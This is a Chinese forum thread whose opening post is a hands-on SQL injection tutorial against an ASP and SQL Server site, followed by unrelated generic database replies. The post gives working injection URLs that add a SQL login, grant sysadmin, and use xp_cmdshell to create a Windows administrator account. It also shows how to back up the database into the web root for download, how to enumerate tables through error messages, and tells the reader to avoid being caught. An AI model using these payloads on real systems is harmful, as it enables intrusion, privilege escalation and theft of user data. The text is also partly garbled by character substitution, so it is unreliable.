仓酷云 发表于 2015-1-16 22:34:51

MYSQL教程之SQL注进实战---使用“dbo”取得SQL办理...

任何规模的组织都可能受益于外包服务,并在一个标准化和优化的平台上统一其数据库管理任务。基于其本身的特性,DBaaS提供了敏捷和高效的数据库服务,它可以支持多变的需求。毁灭之魔文章影子鹰平安收集
方才入手下手进修SQL注进进侵,有写的不合错误和欠好的中央但愿列位师哥,师姐们多多引导。
在一个供求信息公布的网站上测试了一下,页面Http://www.xxx.com/new/new.asp?id=49
我做了以下测试:(1)Http://www.xxx.com/new/new.asp?id=49
MicrosoftOLEDBProviderforODBCDrivers毛病80040e14
字符串的语法毛病
在查询表达式ID=49中。
/new.asp,行36
(2)Http://www.xxx.com/new/new.asp?id=49and1=1
(一般前往页面)
(3)Http://www.xxx.com/new/new.asp?id=49and1=2
MicrosoftOLEDBProviderforODBCDrivers毛病800a0bcd
BOF或EOF中有一个是"真",大概以后的纪录已被删除,所需的操纵请求一个以后的纪录。
/new.asp,行42
注:下面的测试已能够看出有SQL注进的时机,我们用上面一个句子来判别他数据库范例和上岸身份。
Http://www.xxx.com/new/new.asp?id=49anduser>0
MicrosoftOLEDBProviderforODBCDrivers毛病800a0bcd
将nvarchar值"dbo"转换数据范例为int的列时产生语法毛病
/new.asp,行42
注:假如显现"dbo"转换数据范例为int的列时产生语法毛病那末就能够用我上面先容的办法来取得体系办理权限,假如是"abc"转换数据范例为int的列时产生语法毛病那末就用不克不及用我上面的先容来取得体系权限了。
取得以上信息后,就能够提交以下URL来一步一步的取得SQL办理员权限和体系权限了。
(1)Http://www.xxx.com/new/new.asp?id=49;exec
aster.dbo.sp_addloginfmzm;--
增加SQL用户
(2)Http://www.xxx.com/new/new.asp?id=49;execmaster.dbo.sp_passwordnull,fmzm,fmzm;--
设置SQL帐号FMZM的暗码为FMZM
(3)Http://www.xxx.com/new/new.asp?id=49;execmaster.dbo.sp_addsrvrolemembersysadminfmzm;--
提拔权限:加FMZM进sysadmin办理组(偶然候会不乐成,就知识上面的句子
;execmaster.dbo.sp_addsrvrolememberfmzm,sysadmin--为何会如许,我也不清分明,我就碰到了?栽。。。)
(4)Http://www.xxx.com/new/new.asp?id=49;execmaster.dbo.xp_cmdshellnetuserfmzmfmzm/workstations:*/times:all/passwordchg:yes/passwordreq:yes/active:yes/add;--
创建一个体系用FMZM并设置其暗码为FMZM
(注:/workstations:*/times:all/passwordchg:yes/passwordreq:yes/active:yes这些很关头,假如不加这些,你创建的用户很有大概没法上岸,这些是启用你的帐号,而且使暗码永不外期的一些相干设置。)
(5)Http://www.xxx.com/new/new.asp?id=49;execmaster.dbo.xp_cmdshellnetlocalgroupadministratorsfmzm/add;--
把帐号FMZM到场到办理员组
OK,到此为止,已失掉了SQL办理权限和体系权限了,另有甚么不克不及做的呢?把下面的句子变个形开个TELNET,大概用SQL毗连器往毗连,任意你怎样整了,记得别表露本人哦:)今朝有些好的IDS已入手下手监督xp_cmdshell这些关头字了.

附:
(1)http://Site/url.asp?id=1;;anddb_name()>0
后面有个相似的例子anduser>0,感化是猎取毗连用户名,db_name()是另外一个体系变量,前往的是毗连的数据库名。
(2)http://Site/url.asp?id=1;backupdatabase数据库名todisk=c:inetpubwwwroot1.db;--
这是相称狠的一招,从③拿到的数据库名,加上某些IIS堕落表露出的相对路径,将数据库备份到Web目次上面,再用HTTP把全部数据库就完完全整的下载返来,一切的办理员及用户暗码都一览无遗!在不晓得相对路径的时分,还能够备份到收集地点的办法(如202.96.xx.xxShare1.db),但乐成率不高。
  (3)http://Site/url.asp?id=1;;and(selectTop1namefromsysobjectswherextype=Uandstatus>0)>0
sysobjects是SQLServer的体系表,存储着一切的表名、视图、束缚及别的工具,xtype=Uandstatus>0,暗示用户创建的表名,下面的语句将第一个表名掏出,与0对照巨细,让报错信息把表名表露出来。第2、第三个表名怎样猎取?仍是能够
本人思索下。
(4)http://Site/url.asp?id=1;;and(selectTop1col_name(object_id(表名),1)fromsysobjects)>0
从(3)拿到表名后,用object_id(表名)猎取表名对应的外部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就能够逐一猎取所猜解内外面的字段名。
你碰到的问题可能已经在社区中被别的人已经问过,即使没有MySQL学习教程,你也可以提出问题或通过Google来搜索答案。社区的相关负责人士:“MySQL社区是活跃、友好和内容渊博的。”

爱飞 发表于 2015-1-19 17:26:17

如果是将来做数据库的开发设计,就应该详细学习T-SQL的各种细节,包括T-SQL的程序设计、存储过程、触发器以及具体使用某个开发语言来访问数据库。

老尸 发表于 2015-1-19 17:26:17

备份方面可能还是一个老大难的问题。不能单独备份几个表总是感觉不爽。灵活备份的问题不知道什么时候才能解决。

admin 发表于 2015-1-28 09:09:12

如果我们从集合论(关系代数)的角度来看,一张数据库的表就是一组数据元的关系,而每个SQL语句会改变一种或数种关系,从而产生出新的数据元的关系(即产生新的表)。

透明 发表于 2015-2-5 20:19:32

发几份SQL课件,以飨阅者

蒙在股里 发表于 2015-2-13 12:43:03

Mirror可以算是SQLServer的Dataguard了。但是能不能被大伙用起来就不知道了。

柔情似水 发表于 2015-3-3 21:18:13

从项目平台的选择上讲,我们关心的,应该是一款产品能不能满足任务需求,而不是网上怎么说。

谁可相欹 发表于 2015-3-18 21:30:34

对一张百万级别的表建游标,同时又没有什么过滤条件,取得游标效率是如果直接SQL查询百万条数据;如果再对每条记录做处理,耗时将更长。

简单生活 发表于 2015-3-26 19:11:25

记得在最开始使用2k的时候就要用到这个功能,可惜2k没有,现在有了作解决方案的朋友会很高兴吧。
页: [1]
查看完整版本: MYSQL教程之SQL注进实战---使用“dbo”取得SQL办理...